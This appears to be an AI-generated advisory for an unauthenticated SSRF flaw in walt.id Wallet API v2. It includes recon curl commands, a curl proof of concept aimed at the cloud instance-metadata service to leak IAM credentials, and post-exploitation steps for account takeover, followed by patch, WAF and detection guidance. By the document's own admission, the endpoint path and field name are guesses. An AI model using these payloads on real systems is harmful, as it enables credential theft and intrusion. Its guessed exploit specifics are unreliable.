CVE-2026-142693 — CWE-918
walt.id Wallet API v2 before 1.2.1 contains an unauthenticated server-side request forgery vulnerability in the resolve-offer endpoint that fetches attacker-chosen credential issuer metadata. Attackers can redirect the metadata fetch to internal hosts and read leaked response bodies in API errors, including cloud instance-role credentials.
walt.id Wallet API v2 before 1.2.1 contains an unauthenticated server-side request forgery vulnerability in the resolve-offer endpoint that fetches attacker-chosen credential issuer metadata. Attackers can redirect the metadata fetch to internal hosts and read leaked response bodies in API errors, including cloud instance-role credentials.
🎯 What is this vulnerability?
CVE‑2026‑142693 is a Server‑Side Request Forgery (SSRF) flaw (CWE‑918) in the walt.id Wallet API v2 (any release prior to 1.2.1).
The vulnerable endpoint is the resolve‑offer API route. The API accepts an issuer URL (or similar field) that it uses to fetch credential‑issuer metadata. The implementation:
1. Does not validate that the supplied URL is external or safe.
2. Does not enforce authentication on the endpoint – anyone can hit it.
3. Returns the raw HTTP response body in error messages, leaking whatever the internal service returns.
Because of these omissions, an attacker can point the API at any internal host (e.g., the EC2 instance‑metadata service, a local database, or a corporate intranet service) and read the response body. In cloud environments, this often includes IAM role credentials, which can be used to gain full control of the account.
⚡ Attack Chain
NOTE: The exact URI and JSON field names are not provided in the CVE text. The following example uses the most common pattern (/api/v2/resolve-offerand a field namedissuer_url). If the real API differs, adapt the field names accordingly.
1. Discovery & Reconnaissance
| Step | Technique | What to look for |
|---|---|---|
| Service fingerprinting | curl -I https://<target>/api/v2/resolve-offer | Look for a 200/404 response and any Server: header that mentions *walt.id* or *Wallet API*. |
| Version enumeration | curl -s https://<target>/api/v2/version (or similar) | Many APIs expose a /version endpoint. If not, try curl -s https://<target>/api/v2/ and parse the JSON for a version field. |
| Endpoint discovery | curl -s https://<target>/api/v2/ | A JSON index may list available routes. |
| Parameter guess | Send a POST with an empty body to /api/v2/resolve-offer and observe the error message. | The error may reveal the expected JSON field name (e.g., issuer_url). |
2. Exploitation
The goal is to cause the API to fetch an internal URL and capture the error body that contains sensitive data.
# Example PoC – replace <target> with the real hostname/IP
curl -X POST "https://<target>/api/v2/resolve-offer" \
-H "Content-Type: application/json" \
-d '{
"issuer_url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}'What happens:
1. The API receives the JSON payload and extracts issuer_url.
2. It performs an HTTP GET to the supplied URL.
3. The request reaches the instance‑metadata service (IMDS) and returns the IAM role name.
4. The API fails to parse the response as valid metadata and returns an error.
5. The error payload contains the raw body from the IMDS response, which includes the role name and, in many cases, the temporary security credentials (access key, secret key, session token).
Sample response (illustrative):
{
"error": "Failed to resolve issuer metadata",
"details": {
"status_code": 200,
"body": "my-iam-role\n{\"Code\":\"Success\",\"LastUpdated\":\"2026-11-30T12:34:56Z\",\"Type\":\"AWS-HMAC\",\"AccessKeyId\":\"AKIAIOSFODNN7EXAMPLE\",\"SecretAccessKey\":\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\",\"Token\":\"AQoDYXdzEJr...\",\"Expiration\":\"2026-12-01T12:34:56Z\"}"
}
}Important: If the API does not return the raw body in the error, the attacker can still read it by triggering a 404 or other error that includes the body. The key point is that the API leaks the response content.
3. Post‑exploitation
1. Parse the leaked credentials (e.g., using jq or a simple script).
2. Use the credentials to call AWS APIs (or the relevant cloud provider) and gain full access to the account.
3. Create new IAM users, attach policies, or modify existing ones to maintain persistence.
4. Move laterally within the environment, exfiltrate data, or launch further attacks (e.g., RCE via other vulnerable services).
🌍 Real World Impact
| Impact | CVSS Component | Explanation |
|---|---|---|
| Confidentiality | C: High | The attacker can read sensitive data (IAM credentials, internal host responses). |
| Integrity | I: None | The flaw does not modify data. |
| Availability | A: None | The flaw does not disrupt service. |
| Authentication | PR: None | No credentials required. |
| User Interaction | UI: None | No UI needed; fully automated. |
| Scope | S: Changed | The vulnerability allows access to resources beyond the API itself (e.g., cloud IAM). |
Practical consequences:
- Full cloud account takeover: With the leaked IAM role credentials, an attacker can create new users, attach administrative policies, and move laterally across services.
- Data exfiltration: Access to S3 buckets, RDS instances, or other storage.
- Persistence: The attacker can create new roles or modify existing ones to maintain long‑term access.
- Compliance violations: Exposure of credentials violates many security frameworks (PCI‑DSS, HIPAA, GDPR).
- Financial loss: Unauthorized usage of cloud resources can lead to unexpected billing.
🛡️ Remediation & Mitigation
1. Patch
| Affected Version | Fixed Version | Upgrade Path |
|---|---|---|
| walt.id Wallet API v2 < 1.2.1 | 1.2.1 or later | npm install [email protected] (or the equivalent package manager command) |
Recommendation: Immediately upgrade to 1.2.1 or later. The patch removes the SSRF by validating the issuer URL against a whitelist of allowed domains and enforces authentication on the resolve-offer endpoint.2. Workarounds (if patching is delayed)
| Mitigation | Implementation | ||||
|---|---|---|---|---|---|
| Block outbound HTTP requests to internal IP ranges | Configure the API server’s network ACL or firewall to deny traffic to 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, and 169.254.169.254. | ||||
| WAF / ModSecurity rule | ``<rule id="100001" phase="2" block="true" msg="SSRF attempt on resolve-offer" severity="2"> <match url="/api/v2/resolve-offer" /> <match var="REQUEST_HEADERS:Content-Type" pattern="application/json" /> <match var="REQUEST_BODY" pattern="(http:// | https://)(169\.254\.169\.254 | 10\. | 172\.16\. | 192\.168\.)" /> </rule>` |
| Require authentication | Add a middleware that checks for a valid JWT or API key before processing resolve-offer. | ||||
| Input validation | Reject any URL that does not match a pre‑approved whitelist (e.g., https://*.trusted-issuer.com`). | ||||
| Error handling | Do not expose raw response bodies in error messages. Return a generic error string. |
3. Detection
| Log Pattern | Indicator of Compromise |
|---|---|
POST /api/v2/resolve-offer with issuer_url containing 169.254.169.254 or 10. | Likely SSRF attempt |
Error responses containing AccessKeyId, SecretAccessKey, or Token | Credentials leaked |
| Multiple failed requests to internal IPs within a short period | Automated scanning or exploitation |
Sample WAF log entry (ModSecurity):
[2026-12-03T12:00:00Z] [modsecurity] [client 203.0.113.45] [id "100001"] [msg "SSRF attempt on resolve-offer"] [uri "/api/v2/resolve-offer"] [status 403] [severity "2"] [hostname "api.example.com"] [request_body "issuer_url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"]⚠️ Urgency
[🤖 CVE Professor AI Security Engine]